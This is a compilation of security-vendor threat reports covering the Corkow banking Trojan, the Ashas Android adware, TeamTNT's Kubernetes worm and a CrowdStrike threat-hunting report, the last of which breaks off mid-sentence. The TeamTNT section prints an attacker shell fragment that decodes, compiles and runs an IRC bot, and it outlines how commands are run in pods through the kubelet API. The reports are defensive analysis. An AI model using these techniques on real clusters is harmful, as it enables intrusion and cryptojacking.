for this intrusion took much longer. Hackers gained access to a computer in the trading system in September 2014. From that time, the Trojan was functional and constantly updated itself to avoid detection by antivirus software. As of March 2015, Corkow v.7.118.1.1 had not been detected by any antivirus program. Starting in December 2014, the criminal group began running keyloggers in the infected system. On February 27, 2015, Corkow provided remote access to the trading system, enabling hackers to launch programs and enter data simultaneously with the system operator. As a result of this unsanctioned access, the criminals made seven purchases and sales of US dollars in the Dollar/Ruble exchange program. - “Market” orders provided requests to buy or sell a specified amount of lots at the best prices offered in the trading system. - “Removal” orders provided a request to purchase the largest amount of currency possible immediately after their registration in the trading system. In total, five trades were made for the purchase of $437 million and two trades for the sale of $97 million. However, only a small proportion of the trades were carried out in full, resulting in $158,536,000 purchased and $93,925,000 sold. The hacker gave Corkow a command to delete itself from the system along with any traces of its activity 14 minutes after the first trade request. ## Attack Results The hacker attack provoked abnormal volatility, enabling buying dollars for 59.0660 rubles per dollar and selling dollars for 62.3490 rubles per dollar within a short time frame. To capitalize on the difference in exchange rates, hackers would have needed a significant amount of money. For example, with $22 million, the profit would have been only 1.3 million rubles. This suggests that the fraudsters likely conspired with major brokerage clients to have that amount of money to buy/sell currency. There was another potential opportunity to capitalize on the attack. With limited funds, hackers could have used the futures market, where the multiplier for foreign exchange transactions could reach 1:20, increasing their profits eightfold. Ordinary traders profited from the exchange volatility, while hackers purportedly received nothing. The compromised bank suffered significant financial and reputational damage, as many market players did not trust the hacking theory of the incident and believed a simple mistake had occurred. ## Malware Delivery Method To spread the Corkow malware, criminals use a drive-by download method, infecting victims while they visit compromised legitimate websites. Hackers utilize the “Nitris Exploit Kit,” which is not available in open sources and is sold only to trusted users. Group-IB specialists detected various sites used by criminals to spread the Trojan, including mail tracking websites, news portals, electronic books, and music portals. The wide range of websites used during the campaign indicates that criminals target their attacks for maximum exposure, not limiting themselves to corporate websites. Group-IB Bot-Trek TDS sensors are in place at several financial institutions, and currently, Corkow malware is present on 80% of protected corporate systems. All infections were conducted on a random basis. However, gaining access to any computer on a corporate network gives access to even the most highly protected banking systems. ## Area of Attack Corkow primarily targets users in Russia and the CIS, but the number of attacks targeting the USA increased fivefold in 2014 compared to 2011. The number of Corkow incidents detected in Q1 2015 in the United States exceeded those in CIS countries. | Country | 2011 | 2012 | 2013 | 2014 | Q1 2015 | |--------------------|-------|-------|-------|-------|---------| | Russia | 61425 | 132327| 19156 | 26493 | 4719 | | Ukraine | 7076 | 9891 | 4558 | 6108 | 883 | | Belarus | 2748 | 1892 | 584 | 82 | 18 | | Kazakhstan | 1132 | 1997 | 254 | 43 | 22 | | Turkey | 762 | 453 | 27 | 100 | 79 | | Spain | 457 | 164 | 30 | 160 | 26 | | Italy | 238 | 115 | 375 | 131 | 43 | | Mexico | 209 | 362 | 33 | 82 | 44 | | Peru | 191 | 167 | 5 | 123 | 35 | | Poland | 181 | 86 | 28 | 94 | 33 | | United States | 164 | 102 | 49 | 534 | 159 | | Chile | 114 | 192 | 52 | 36 | 11 | | Thailand | 114 | 51 | 8 | 204 | 97 | | Argentina | 107 | 65 | 6 | 31 | 16 | | Germany | 107 | 23 | 30 | 82 | 26 | | Greece | 91 | 42 | 22 | 59 | 14 | | Brazil | 89 | 69 | 10 | 43 | 32 | | France | 81 | 65 | 10 | 79 | 44 | ## Attack Tactics Hackers spread bots using the Niteris exploit and then search for infected devices at banks by analyzing IP addresses, cracked passwords, and module performance results. If a bot was installed on a network of interest, it was used to upload remote access programs. In addition to the legitimate AmmyAdmin tool, hackers used Visconti Backdoor, which is distributed on Russian-speaking hacker forums and provides various functionalities, including: - Secret installation on targeted computers, retention in the system as legitimate software. - Grabbing user desktop activity, recording onscreen audio and video. - Keylogging. - Remote access to the task manager and system processes. - Executing commands in CMD. - Remote launch of files and applications. - Collecting files and buffer exchange from the victim’s machine. - Remote registry editing. - Capability to control computer state (shutdown/restart). - Can run on any version of Windows (from XP to 10), both 32-bit and 64-bit versions. Hackers used remote access to detect servers of interest in the internal network. They applied keyloggers built into Corkow and used Mimikatz to dump clear text Windows credentials. The group also used scanners to search for hosts with active VNC and Radmin services in the corporate network. When they gained access to a bank staff computer, Corkow malware was uploaded to spy on users through keylogging and transmission of screenshots. ## Malware Description Each of Corkow’s modules is implemented as a library capable of downloading and executing files from a remote server, deleting files, rebooting, and disrupting the system, collecting data on the targeted PC and the victim’s activity (keylogging, screenshots), and sending this information to various addresses. The Corkow Trojan includes several modules, including: | Module | Version | Description | |--------|---------|-------------| | MON | 1.9.0 | Collects information about the computer, accounts, OS, and monitors processes | | KLG | 1.3.1 | Keylogger | | HVNC | 2.0 | Provides remote access to the computer | | FG | 2.0 | Tracks websites visited by the user and collects authorization data | | QUIK | 1.1 | Copies data from the Quik trading system application | | IB2 | 1.3.1 | Copies data from the «IBank2» application | | SBRF | 1.3.8 | Copies data from the «Wclnt.exe» application | | AMY | 1.4 | Provides remote access using Ammy Admin | | iFOBS | 1.6 | Copies data from the «iFOBSClient.exe» application | | TRZQ | 1.0 | Copies data from the TRANSAQ trading system | ## Basic Functionality The most important functions of the program are delivered in separate modules. The tool decrypts and uploads extra modules to third-party processes. The search for appropriate processes for intrusion is launched in a separate flow, which continuously monitors running processes. The FG module can be injected into processes with specific substrings in their names, while other modules can be injected into processes with designated substrings. Corkow sends information on its status to the remote C&C server via HTTP POST requests. The list of C&C servers is established in each sample code. The malware sends various information strings to the C&C server, and the server responds with supported commands. ## About Group-IB Group-IB is a leading international company specializing in high-tech cybercrimes, fraud prevention, and investigation. Since 2013, the company has offered a range of services in computer forensics, consulting, and auditing of information security systems to prevent financial and reputational damages for large companies in Russia and worldwide. Group-IB’s extensive experience has resulted in the innovative Bot-Trek information security ecosystem, which monitors, identifies, and prevents cyber threats. The company’s clients include over 60 financial institutions and enterprises across various sectors globally. Group-IB’s mission is to protect clients in cyberspace by creating and using innovative products, solutions, and services.
# Tracking down the developer of Android adware affecting millions of users ESET researchers discovered a year-long adware campaign on Google Play and tracked down its operator. The apps involved, installed eight million times, use several tricks for stealth and persistence. We detected a large adware campaign running for about a year, with the involved apps installed eight million times from Google Play alone. We identified 42 apps on Google Play as belonging to the campaign, which had been running since July 2018. Of those, 21 were still available at the time of discovery. We reported the apps to the Google security team and they were swiftly removed. However, the apps are still available in third-party app stores. ESET detects this adware, collectively, as Android/AdDisplay.Ashas. ## Ashas functionality All the apps provide the functionality they promise, besides working as adware. The adware functionality is the same in all the apps we analyzed. Once launched, the app starts to communicate with its C&C server (whose IP address is base64-encoded in the app). It sends key data about the affected device: device type, OS version, language, number of installed apps, free storage space, battery status, whether the device is rooted and Developer mode enabled, and whether Facebook and FB Messenger are installed. The app receives configuration data from the C&C server, needed for displaying ads, and for stealth and resilience. As for stealth and resilience, the attacker uses a number of tricks. First, the malicious app tries to determine whether it is being tested by the Google Play security mechanism. For this purpose, the app receives from the C&C server the isGoogleIp flag, which indicates whether the IP address of the affected device falls within the range of known IP addresses for Google servers. If the server returns this flag as positive, the app will not trigger the adware payload. Second, the app can set a custom delay between displaying ads. The samples we have seen had their configuration set to delay displaying the first ad by 24 minutes after the device unlocks. This delay means that a typical testing procedure, which takes less than 10 minutes, will not detect any unwanted behavior. Also, the longer the delay, the lower the risk of the user associating the unwanted ads with a particular app. Third, based on the server response, the app can also hide its icon and create a shortcut instead. If a typical user tries to get rid of the malicious app, chances are that only the shortcut ends up getting removed. The app then continues to run in the background without the user’s knowledge. This stealth technique has been gaining popularity among adware-related threats distributed via Google Play. Once the malicious app receives its configuration data, the affected device is ready to display ads as per the attacker’s choice; each ad is displayed as a full screen activity. If the user wants to check which app is responsible for the ad being displayed, by hitting the “Recent apps” button, another trick is used: the app displays a Facebook or Google icon. The adware mimics these two apps to look legitimate and avoid suspicion – and thus stay on the affected device for as long as possible. Finally, the Ashas adware family has its code hidden under the com.google.xxx package name. This trick – posing as a part of a legitimate Google service – may help avoid scrutiny. Some detection mechanisms and sandboxes may whitelist such package names, in an effort to prevent wasting resources. ## Hunting down the developer Using open-source information, we tracked down the developer of the adware, who we also identified as the campaign’s operator and owner of the C&C server. First, based on information that is associated with the registered C&C domain, we identified the name of the registrant, along with further data like country and email address. Knowing that the information provided to a domain registrar might be fake, we continued our search. The email address and country information drove us to a list of students attending a class at a Vietnamese university – corroborating the existence of the person under whose name the domain was registered. Due to poor privacy practices on the part of our culprit’s university, we now know his date of birth (probably: he seemingly used his birth year as part of his Gmail address, as further partial confirmation), we know that he was a student and what university he attended. We were also able to confirm that the phone number he provided to the domain registrar was genuine. Moreover, we retrieved his University ID; a quick googling showed some of his exam grades. However, his study results are out of the scope of our research. Based on our culprit’s email address, we were able to find his GitHub repository. His repository proves that he is indeed an Android developer, but it contained no publicly available code of the Ashas adware at the time of writing of this blog post. However, a simple Google search for the adware package name returned a “TestDelete” project that had been available in his repository at some point. The malicious developer also has apps in Apple’s App Store. Some of them are iOS versions of the ones removed from Google Play, but none contain adware functionality. Searching further for the malicious developer’s activities, we also discovered his YouTube channel propagating the Ashas adware and his other projects. As for the Ashas family, one of the associated promotional videos, “Head Soccer World Champion 2018 – Android, ios” was viewed almost three million times and two others reached hundreds of thousands of views. His YouTube channel provided us with another valuable piece of information: he himself features in a video tutorial for one of his other projects. Thanks to that project, we were able to extract his Facebook profile – which lists his studies at the aforementioned university. Linked on the malicious developer’s Facebook profile, we discovered a Facebook page, Minigameshouse, and an associated domain, minigameshouse[.]net. This domain is similar to the one the malware author used for his adware C&C communication, minigameshouse[.]us. Checking this Minigameshouse page further indicates that this person is indeed the owner of the minigameshouse[.]us domain: the phone number registered with this domain is the same as the phone number appearing on the Facebook page. Of interest is that on the Minigameshouse Facebook page, the malicious developer promotes a slew of games beyond the Ashas family for download on both Google Play and the App Store. However, all of those have been removed from Google Play – despite the fact that some of them didn’t contain any adware functionality. On top of all this, one of the malicious developer’s YouTube videos – a tutorial on developing an “Instant Game” for Facebook – serves as an example of operational security completely ignored. We were able to see that his recently visited websites were Google Play pages belonging to apps containing the Ashas adware. He also used his email account to log into various services in the video, which identifies him as the adware domain owner, beyond any doubt. Thanks to the video, we were even able to identify three further apps that contained adware functionality and were available on Google Play. ## ESET telemetry ### Is adware harmful? Because the real nature of apps containing adware is usually hidden to the user, these apps and their developers should be considered untrustworthy. When installed on a device, apps containing adware may, among other things: - Annoy users with intrusive advertisements, including scam ads - Waste the device’s battery resources - Generate increased network traffic - Gather users’ personal information - Hide their presence on the affected device to achieve persistence - Generate revenue for their operator without any user interaction ## Conclusion Based solely on open source intelligence, we were able to trace the developer of the Ashas adware and establish his identity and discover additional related adware-infected apps. Seeing that the developer did not take any measures to protect his identity, it seems likely that his intentions weren’t dishonest at first – and this is also supported by the fact that not all his published apps contained unwanted ads. At some point in his Google Play “career”, he apparently decided to increase his ad revenue by implementing adware functionality in his apps’ code. The various stealth and resilience techniques implemented in the adware show us that the culprit was aware of the malicious nature of the added functionality and attempted to keep it hidden. Sneaking unwanted or harmful functionality into popular, benign apps is a common practice among “bad” developers, and we are committed to tracking down such apps. We report them to Google and take other steps to disrupt malicious campaigns we discover. Last but not least, we publish our findings to help Android users protect themselves. ### Indicators of Compromise (IoCs) | Package name | Hash | Installs | |---------------------------------------------------|--------------------------------------------------------------|---------------| | com.ngocph.masterfree | c1c958afa12a4fceb595539c6d208e6b103415d7 | 5,000,000+ | | com.mghstudio.ringtonemaker | 7a8640d4a766c3e4c4707f038c12f30ad7e21876 | 500,000+ | | com.hunghh.instadownloader | 8421f9f25dd30766f864490c26766d381b89dbee | 500,000+ | | com.chungit.tank1990 | 237f9bfe204e857abb51db15d6092d350ad3eb01 | 500,000+ | | com.video.downloadmasterfree | 43fea80444befe79b55e1f05d980261318472dff | 100,000+ | | com.massapp.instadownloader | 1382c2990bdce7d0aa081336214b78a06fceef62 | 100,000+ | | com.chungit.tankbattle | 1630b926c1732ca0bb2f1150ad491e19030bcbf2 | 100,000+ | | com.chungit.basketball | 188ca2d47e1fe777c6e9223e6f0f487cb5e98f2d | 100,000+ | | com.applecat.worldchampion2018 | 502a1d6ab73d0aaa4d7821d6568833028b6595ec | 100,000+ | | org.minigamehouse.photoalbum | a8e02fbd37d0787ee28d444272d72b894041003a | 100,000+ | | com.mngh.tuanvn.fbvideodownloader | 035624f9ac5f76cc38707f796457a34ec2a97946 | 100,000+ | | com.v2social.socialdownloader | 2b84fb67519487d676844e5744d8d3d1c935c4b7 | 100,000+ | | com.hikeforig.hashtag | 8ed42a6bcb14396563bb2475528d708c368da316 | 100,000+ | | com.chungit.heroesjump | c72e92e675afceca23bbe77008d921195114700c | 100,000+ | | com.mp4.video.downloader | 61E2C86199B2D94ABF2F7508300E3DB44AE1C6F1 | 100,000+ | | com.videotomp4.downloader | 1f54e35729a5409628511b9bf6503863e9353ec9 | 50,000+ | | boxs.puzzles.Puzzlebox | b084a07fdfd1db25354ad3afea6fa7af497fb7dc | 50,000+ | | com.intatwitfb.download.videodownloader | 8d5ef663c32c1dbcdd5cd7af14674a02fed30467 | 50,000+ | | com.doscreenrecorder.screenrecorder | e7da1b95e5ddfd2ac71587ad3f95b2bb5c0f365d | 50,000+ | | com.toptools.allvideodownloader | 32E476EA431C6F0995C75ACC5980BDBEF07C8F7F | 50,000+ | | com.top1.videodownloader | a24529933f57aa46ee5a9fd3c3f7234a1642fe17 | 10,000+ | | com.santastudio.headsoccer2 | 86d48c25d24842bac634c2bd75dbf721bcf4e2ea | 10,000+ | | com.ringtonemakerpro.ringtonemakerapp2019 | 5ce9f25dc32ac8b00b9abc3754202e96ef7d66d9 | 10,000+ | | com.hugofq.solucionariodebaldor | 3bb546880d93e9743ac99ad4295ccaf982920260 | 10,000+ | | com.anit.bouncingball | 6e93a24fb64d2f6db2095bb17afa12c34b2c8452 | 10,000+ | | com.dktools.liteforfb | 7bc079b1d01686d974888aa5398d6de54fd9d116 | 10,000+ | | net.radiogroup.tvnradio | ba29f0b4ad14b3d77956ae70d812eae6ac761bee | 10,000+ | | com.anit.bouncingball | 6E93A24FB64D2F6DB2095BB17AFA12C34B2C8452 | 10,000+ | | com.floating.tube.bymuicv | 6A57D380CDDCD4726ED2CF0E98156BA404112A53 | 10,000+ | | org.cocos2dx.SpiderSolitaireGames | adbb603195c1cc33f8317ba9f05ae9b74759e75b | 5,000+ | | games.puzzle.crosssum | 31088dc35a864158205e89403e1fb46ef6c2c3cd | 5,000+ | ### C&C server http://35.198.197[.]119:8080 ### MITRE ATT&CK techniques | Tactic | ID | Name | Description | |----------------|-----------|--------------------------|-----------------------------------------------------------------------------| | Initial Access | T1475 | Deliver Malicious App | The malware impersonates legitimate services on Google Play App Store. | | Persistence | T1402 | App Auto-Start at Device Boot | An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts. | | Impact | T1472 | Generate Fraudulent Advertising Revenue | Generates revenue by automatically displaying ads. | Kudos to @jaymin9687 for bringing the problem of unwanted ads in the “Video downloader master” app to our attention.
# Why They are Successful and How to Stop Them ## Spear Phishing Attacks Spear phishing is on the rise—because it works. Cyber criminals have moved from broad, scattershot attacks to advanced targeted attacks like spear phishing. This has proven to be highly effective with serious consequences to victim organizations, requiring enterprises to find a way to more effectively combat evolving threats. In this white paper, you will find: - An overview of spear phishing and its characteristics - A case study on spear phishing - Key capabilities organizations need to effectively combat spear phishing threats
# TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised in Worm-like Attack Kubernetes is the most widely adopted container orchestration platform for automating the deployment, scaling, and management of containerized applications. Unfortunately, like any widely used application, it makes for an attractive target for threat actors as they are often misconfigured, especially those running primarily in cloud environments with access to nearly infinite resources. This article will discuss how TeamTNT has been scanning for and compromising Kubernetes clusters in the wild. We have found and confirmed close to 50,000 IPs compromised by this attack perpetrated by TeamTNT across multiple clusters. Several IPs were repeatedly exploited during the timeframe of the episode, occurring between March and May. Most of the compromised nodes were from China and the US, identified in the ISP (Internet Service Provider) list, which had Chinese and US-based providers as the highest hits, including some CSPs (Cloud Service Providers). It should be noted the numbers reflect the likelihood of significantly more clusters in operation for the US and China than many other countries. By analyzing data belonging to a few TeamTNT servers, we discovered the tools and techniques used by the group for this campaign. ## How a Kubernetes cluster is compromised This section will analyze one of the scripts we have collected from this threat actor that targets Kubernetes clusters. We collected one of the files from their server, named `kube.lateral.sh`, that had a low detection rate in VirusTotal at the time of writing. We break down what this script does. ### Setting up the environment TeamTNT’s first order of business is to disable the bash history on the target host and define environment variables for their command and control (C&C) server, such as the script to install the crypto miner later and the binary of the XMRig Monero miner. Then a folder is created inside `/tmp` using `$RANDOM` three times, generating a sequence of random numbers. User and system architecture information is gathered using `whoami` and `uname -m`, which are stored in environment variables to be used later. The script also installs two free, open-source tools available from GitHub, the network scanning tool `masscan` and the banner-grabbing, deprecated `Zgrab`. The new version `Zgrab2` is also open source and available on GitHub but is not installed with the script. ### Downloading and installing the IRC Bot The script has a large base64 encoded code block to install their IRC bot. We decoded, analyzed, and discovered that it is written in C and is stored in the `/tmp` folder under the name `kube.c` to avoid suspicion. The bot code is compiled with Gnu Compiler Collection (GCC) and removed after compiling completes. The resulting binary generated is then moved to the `/root` folder and renamed to `kube`. ```bash "BASE64 ENCODED KUBE.C CODE HERE" | base64 -d > /var/tmp/kube.c cd /var/tmp/; gcc -o /var/tmp/kube /var/tmp/kube.c && rm -f /var/tmp/kube.c mv /var/tmp/kube /root/.kube && chmod +x /root/.kube && /root/.kube ``` The IRC bot, also written in C, is based on another famous IRC bot called Kaiten. Similar code for these bots is also available on GitHub. ### Pwning and cryptojacking Kubernetes pods In the last part of the script, we can see a function — `kube_pwn()` — being declared. As seen from the code, the `kube_pwn` function uses Masscan to check any hosts with port 10250 open. Those familiar with Kubernetes will know that this port belongs to the kubelet API, and by default, it is open on all nodes of a cluster, including the control plane and worker nodes. And that is one of the essential first security hardening changes you should make on an operational K8s cluster. Kubelet is the agent that runs on each node and ensures that all containers are running in a pod. It is also the agent that is responsible for any configuration changes on the nodes. There are three critical factors for kubelet security settings: 1. **Enabling Kubelet authentication.** According to the Kubernetes documentation, requests to the kubelet’s API endpoint, which are not blocked by other authentication methods, are treated as anonymous requests by default. Please make sure you start the kubelets with the `--anonymous-auth=false` flag and disable anonymous access. 2. **Restricting kubelet permissions** to prevent attackers from reading kubelet credentials after breaking out of the container to perform malicious actions. 3. **Rotating the kubelet certificates** on the chance a compromise occurs, the certs are short-lived and potential impact is reduced. According to the documentation for Kubernetes installation via kubeadm, the ports below are the ones that need to be open for a cluster to work properly. The kubelet API port (10250) should not be exposed to the internet as it is akin to leaving your Docker Daemon API exposed. However, TeamTNT is compromising the kubelet after gaining access to the environment in this specific attack, so they run the scans internally. The kubelet API is not well documented; however, we analyzed the Kubernetes code directly to understand what is happening. First, we looked at the `server.go` file inside the `/kubelet/server` package. The first thing the `kube_pwn()` function does is to get some information from the Kubelet API via the `/runningpods` endpoint, filtering the namespace, pod name, and container names. ### Crypto jacking (deployed into pods) As we can see from the kubelet `server.go` code above, the API endpoint `/runningpods` lists the running pods. First, the `kube_pwn()` function lists all the current running pods inside the node in a JSON format. Then, for each container running on each node, it takes advantage of the `/run` endpoint on the kubelet API to run the following commands: 1. Updates the package index of the container. 2. Installs the following packages: bash, wget, and curl. 3. Downloads a shell script called `setup_xmr.sh` from the TeamTNT C&C server and saves it in the tmp folder. 4. Executes the script to start mining for the Monero cryptocurrency. To finish this, they run the same `kube_pwn()` function against a series of internal IP ranges looking for new targets to compromise, with similar behavior to a worm. ## Recommendations and Trend Micro Cloud Security Solutions According to the new MITRE ATT&CK for Containers, Exploit Public-Facing Applications (T1190) is one of the entry points for attackers and could allow them to take over an organization’s cluster via RBAC misconfiguration or a cluster’s vulnerable version. ### How to secure the Kube API Server It is important to ensure that their Kube API Servers are not exposed. A straightforward way to check is by attempting to hit the API server from an external IP. This curl request should be used to check if the API is public-facing or otherwise: ```bash curl -k https://API-SERVER-IP:PORT/api ``` If there is a response from this curl request, it means that the API is publicly available and is exposed. Other best practices for protecting Kubernetes deployments can be found in our infosec guide, “The Basics of Keeping Kubernetes Clusters Secure.” Cloud security solutions such as Trend Micro Cloud One™ help enterprises access protection for continuous integration and continuous delivery (CI/CD) pipelines and applications. The platform includes: - **Workload Security:** runtime protection for workloads - **Container Security:** automated container image and registry scanning - **File Storage Security:** security for cloud file and object storage services - **Network Security:** cloud network layer IPS security - **Application Security:** security for serverless functions, APIs, and applications - **Conformity:** real-time protection for cloud infrastructure — secure, optimize, comply ## Conclusion This campaign is notable because it is the first time we analyzed published tools from the TeamTNT group. Furthermore, the continued use of crypto-jacking and credential-stealing indicates that these will remain in the threat actor’s primary repertoire of techniques for the near future. The high number of targets shows that TeamTNT is still expanding its reach, especially in cloud environments, and perhaps infrastructure since the group can monetize a more significant amount from their campaigns with more potential victims. The group’s activities add to the number of potential threats that Kubernetes users face. ## Indicators of Compromise (IOCs) | File name | SHA256 | Detection name | |------------------|--------------------------------------------------------------------------------------------------|-------------------------------| | kube.lateral.sh | 0dc0d5e9d127c8027c0a5ed0ce237ab07d3ef86706d1f8d032bc8f140869c5ea | Trojan.SH.YELLOWDYE.A |
# Nowhere to Hide ## 2021 Threat Hunting Report ### Insights From the Falcon OverWatch Team ## About Falcon OverWatch Falcon OverWatch™ is the CrowdStrike® managed threat hunting service built on the CrowdStrike Falcon® platform. OverWatch conducts thorough human analysis on a 24/7/365 basis to relentlessly hunt for anomalous or novel attacker tradecraft designed to evade other detection techniques. OverWatch is an elite cross-disciplinary team that harnesses the power of the CrowdStrike Threat Graph® database, enriched with CrowdStrike threat intelligence, to continuously hunt for threat activity in customer environments. Armed with cloud-scale telemetry of upward of 1 trillion endpoint-related events collected per day, and detailed tradecraft on more than 160 adversary groups, OverWatch has the unparalleled ability to see and stop the most sophisticated threats — leaving adversaries with nowhere to hide. ## Executive Summary For yet another year, OverWatch disrupted a record number of interactive intrusion attempts by identifying malicious activity early and stopping adversaries in their tracks. This report shares insights from OverWatch’s around-the-clock threat hunting from July 1, 2020 through June 30, 2021. This year's report starts with a close look at OverWatch's extensive dataset covering observed interactive threat actor behaviors, which we will refer to in this report as "intrusion activity". It uses this data to examine how threat actors are operating in victim environments, highlighting both rare and common techniques that adversaries are employing. The mission of OverWatch is to augment the powerful autonomous protection of the Falcon platform with human expertise. With the combined power of human ingenuity and patent-protected workflows, OverWatch systematically sifts through 1 trillion daily events to find potential hands-on intrusions, on average 1 every 8 minutes. OverWatch operates with speed and at scale to notify victim organizations of malicious activity in near real time, ensuring intrusion attempts that incorporate novel tradecraft are identified and disrupted before the breach. Key findings from this year’s report include: - OverWatch has tracked a 60% increase in interactive intrusion activity in the past year. The threat of hands-on intrusion activity remains very real — OverWatch has observed and disrupted intrusions spanning all industry verticals and geographic regions. - Adversaries have moved beyond malware. They are using increasingly sophisticated and stealthy techniques tailor-made to evade autonomous detections — of all of the detections indexed by CrowdStrike Threat Graph® in the past three months, 68% were malware-free. - ECrime continues to dominate the threat landscape, making up 75% of interactive intrusion activity. One driver of this has been the continually evolving big game hunting (BGH) business model, which has seen the widespread adoption of both the use of access brokers to facilitate access, and the use of dedicated leak sites to extract payment. - ECrime adversaries are moving with increasing speed in pursuit of their objectives. OverWatch observations show they are capable of moving laterally within a victim environment in an average of 1 hour and 32 minutes. - Targeted intrusion adversaries remain a prominent threat, particularly for the telecommunications industry. While organizations of all sizes and in all verticals have the potential to become a target, the telecommunications industry stood out this year, accounting for 40% of all state-nexus intrusion activity observed by OverWatch in the past 12 months. This report features detailed case studies sharing insights into the hands-on activity that OverWatch tracks on a daily basis and concludes with recommendations for defenders looking to bolster their security program. ## The Value of Continuous Threat Hunting The CrowdStrike Falcon platform has proven unequivocally in dozens of independent tests to be a highly effective solution for protecting endpoints from modern threats. Still, no technology is 100% effective at blocking determined intruders. According to data from our customer base indexed by Threat Graph, 68% of detections from the last three months were not malware-based. Attackers are increasingly attempting to accomplish their objectives without writing malware to the endpoint, using legitimate credentials and built-in tools (living off the land) — which are deliberate efforts to evade detection by traditional antivirus products. OverWatch is on a mission to find threats that technology on its own cannot. Threat hunting takes place at the front lines of the battle between adversaries and defenders. Each year OverWatch sees more adversaries, new tradecraft and faster intrusions. In this context, finding the threat is only half the battle; using those insights to disrupt adversaries at scale is where the battle is won. In the 12 months from July 1, 2020 to June 30, 2021, OverWatch’s human threat hunters directly identified more than 65,000 potential intrusions, or approximately 1 potential intrusion every 8 minutes — 24 hours a day, 365 days a year. This represents thousands of instances where OverWatch analysts uncovered adversaries actively seeking to evade autonomous detection techniques. When considered alongside adversaries’ demonstrated ability to begin moving through victim environments in just minutes — shown throughout this report — these numbers drive home the criticality of continuous threat hunting. Crucially, each of these potential intrusions also represents an opportunity to advance the autonomous detection techniques in the Falcon platform. With each pass through the OverWatch SEARCH threat hunting cycle, hunters hone the Falcon platform’s ability to detect similar intrusions more quickly and autonomously. Over the last year, threat hunters distilled their findings into the development of hundreds of new behavioral-based preventions, resulting in the direct prevention of malicious activity on approximately 248,000 unique endpoints. These behavioral-based preventions enhance the power of the Falcon platform to uncover novel adversary behavior with greater speed and scale. With the right data and tools, a small team of experts can not only stop today's most sophisticated intrusions but also develop insights that drive continuous advancement at every level of the security organization. ## OverWatch SEARCH Hunting Methodology OverWatch finds threats that technology on its own cannot. Human-led threat hunting does not replace autonomous detection technologies — rather, it explicitly sets out to complement and augment technology-based defenses to ensure that defenders have the power of human ingenuity on their side. OverWatch threat hunters employ the “SEARCH” hunting methodology to systematically detect threats at scale. Working around the clock, OverWatch threat hunters methodically sift through a world of unknown unknowns to find the faintest traces of malicious activity and deliver actionable analysis to CrowdStrike customers in near real time. The OverWatch SEARCH methodology shines a light into the darkest corners of customers’ environments — leaving adversaries with nowhere to hide. ### Sense CrowdStrike’s rich telemetry creates the foundation for OverWatch threat hunting. Upward of 1 trillion events per day, comprising hundreds of event types from millions of endpoints, are collected and cataloged by the Falcon platform to provide comprehensive visibility into activity across the CrowdStrike install base. ### Enrich CrowdStrike's proprietary Threat Graph contextualizes events and reveals relationships between data points in real time. Threat hunters add a further dimension to the data by drawing on CrowdStrike’s up-to-the-minute threat intelligence about the tradecraft of more than 160 adversary groups, as well as by using their intimate working knowledge of the tactics, techniques and procedures (TTPs) in use in the wild. All of this is underpinned by OverWatch’s proprietary tools and processes, which ensure every hunt is optimized for maximum efficiency. ### Analyze OverWatch analysts use a mix of patent-protected hunting workflows and complex statistical methods to identify anomalous activity. This is supported by a deep understanding of adversary behaviors and motivations, enabling the team to form hypotheses about where adversaries may strike. The breadth and depth of experience on the OverWatch team is world class, with representation from every corner of public and private industry. Further, the team is continuously building its knowledge base, going toe-to-toe with adversaries on the front lines, 24/7/365. ### Reconstruct In order to take action against an adversary, it is critical to understand the full nature of the threat. In just minutes, OverWatch analysts reconstruct threat activity, transforming it from a collection of data points into a clear story. This information empowers organizations to not only remediate but also plug the gaps in their environment. ### Communicate Time is of the essence in preventing an intrusion from becoming a breach. OverWatch operates as a native component of the Falcon platform. Through Falcon, OverWatch delivers clear, accurate and actionable information on potentially malicious activity in near real time, enabling organizations to respond quickly and decisively, without friction. ### Hone With each new threat, OverWatch extracts new insights to drive continuous advancements in automated detections and human threat hunting. The team is consistently fine-tuning its skills and processes to always stay a step ahead of the adversary. ## Intrusion Campaigns Summary Over the past year, OverWatch tracked steadily increasing numbers of interactive intrusion campaigns. Year over year, OverWatch observed a near 60% increase in the number of campaigns. In the most recent quarter, from April to June 2021, OverWatch uncovered more intrusion campaigns than in any other quarter. ### Adversary Motives For yet another year, financially motivated eCrime activity dominated the interactive intrusion attempts tracked by OverWatch. ECrime accounted for 75% of the interactive intrusion activity, while targeted intrusions accounted for 24% and the remaining 1% was attributed to hacktivist activity. These figures track closely with the distribution of activity seen in the previous year. Seeing these figures stabilize indicates that the distribution of eCrime and targeted intrusion activity may be reaching an equilibrium after several years of eCrime activity rapidly expanding relative to targeted intrusions. ### Intrusion Campaigns by Threat Type **July 2019 to June 2020 vs. July 2020 to June 2021** - Targeted Intrusion: 24% - Hacktivist: 1% - eCrime: 75% There are signs that eCrime adversaries may be becoming more capable, particularly PANDAs (China) if measured by the speed at which they can move through a victim environment. OverWatch measures breakout time — the time an adversary takes to move laterally, from an initially compromised host to another host within the victim environment. Of the hands-on eCrime intrusion activity from July 1, 2020 to June 30, 2021 where breakout time could be derived, the average was just 1 hour 32 minutes. Moreover, the OverWatch team found that in 36% of those intrusions, the adversary was able to move laterally to additional hosts in less than 30 minutes. ECrime adversaries also continue to innovate and evolve their business models to increase their chance of success. The majority of ransomware operators engaged in big game hunting (BGH) activity have now adopted the threat of data leaks alongside data encryption as a means to extract payment from victims. Many adversaries have also established dedicated leak sites (DLSs) as a forum to publicize victim details and release the stolen data. OverWatch also recorded a 100% increase in instances of cryptojacking in interactive intrusions year over year. This was likely driven by steep increases in cryptocurrency values beginning in late 2020. The potential for growth in eCrime activity is almost limitless, propelled by new actors, new vulnerabilities or failures on the part of organizations to maintain basic security hygiene. While OverWatch indeed saw an increase in the number of eCrime intrusion attempts over the past 12 months, this growth did not outpace the growth in targeted intrusion activity to the degree seen in previous years. One factor that may have stemmed the rapid acceleration of eCrime activity is successful interventions by law enforcement against adversary-controlled infrastructure and resources. These efforts touched the operations of several prominent eCrime groups including WIZARD SPIDER, MUMMY SPIDER, CIRCUS SPIDER, GRACEFUL SPIDER, TWISTED SPIDER and CARBON SPIDER. Law enforcement activity, however, appears to only temporarily disrupt eCrime activity, rather than halting operations altogether. Adversaries have shown resilience by quickly activating new C2 infrastructure and diversifying their toolsets. ### Targeted Intrusion Generally, adversary groups from the People’s Republic of China, the Democratic People’s Republic of Korea (DPRK, aka North Korea) and the Islamic Republic of Iran are the source of the majority of targeted intrusion activity OverWatch tracks. However, in the past year, OverWatch also 